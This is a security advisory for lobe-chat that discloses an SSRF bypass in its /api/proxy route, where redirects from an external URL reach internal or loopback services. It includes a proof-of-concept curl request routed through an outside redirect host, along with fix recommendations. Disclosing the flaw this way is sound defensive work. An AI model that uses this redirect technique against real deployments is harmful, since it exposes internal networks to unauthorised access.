GHSA-3fc8-2r3f-8wrg

Suggest an improvement
Source
https://github.com/advisories/GHSA-3fc8-2r3f-8wrg
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/09/GHSA-3fc8-2r3f-8wrg/GHSA-3fc8-2r3f-8wrg.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-3fc8-2r3f-8wrg
Aliases
Published
2024-09-23T20:30:11Z
Modified
2024-10-02T01:29:55.458347Z
Severity
  • 9.0 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H CVSS Calculator
  • 6.3 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:H CVSS Calculator
Summary
lobe-chat implemented an insufficient fix for GHSA-mxhq-xw3g-rphc (CVE-2024-32964)
Details

Summary

SSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address.

PoC

  1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210;

  2. Create file dummy-server.js with the following content:

    var http = require('http');
    console.log("running server");
    http.createServer(function (req, res) {
      console.log(req.url);
      res.writeHead(200, {'Content-Type': 'text/html'});
      res.end();
    }).listen(3001, 'localhost');
    
    

    And run

    node dummy-server.js
    

    as an example server inside of container [1] (or in containers private network).

  3. Run in terminal to perform request to lobe-chat instance from [1]

    curl --path-as-is -i -s -k -X $'POST' \
        -H $'Host: 0.0.0.0:3210' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: http://0.0.0.0:3210/settings/agent?agent=&session=inbox&tab=' -H $'Content-Type: text/plain;charset=UTF-8' -H $'Content-Length: 74' -H $'Origin: http://0.0.0.0:3210' -H $'Connection: keep-alive' -H $'Priority: u=0' \
        -b $'LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined' \
        --data-binary $'http://130.193.49.129:8090/redirect?url=http://localhost:3001/iamssrf_1337' \
        $'http://0.0.0.0:3210/api/proxy'
    

where body contains url of server which redirects to internal network (in my case it redirects according url parameter).

  1. Observe in output of [2]

    running server
    /iamssrf_1337
    
  2. Attacker is able to perform SSRF attacks against lobe-chat despite https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts#L26 check.

Fix recommendations:

  1. Disable redirects - lobe-chat should consider explicitly disable redirects.
  2. If redirects support is required, perform check before each http request.

Impact

https://portswigger.net/web-security/ssrf

References

Affected packages

npm / @lobehub/chat

Package

Name
@lobehub/chat
View open source insights on deps.dev
Purl
pkg:npm/%40lobehub/chat

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.19.13

Database specific

{
    "last_known_affected_version_range": "<= 1.19.12"
}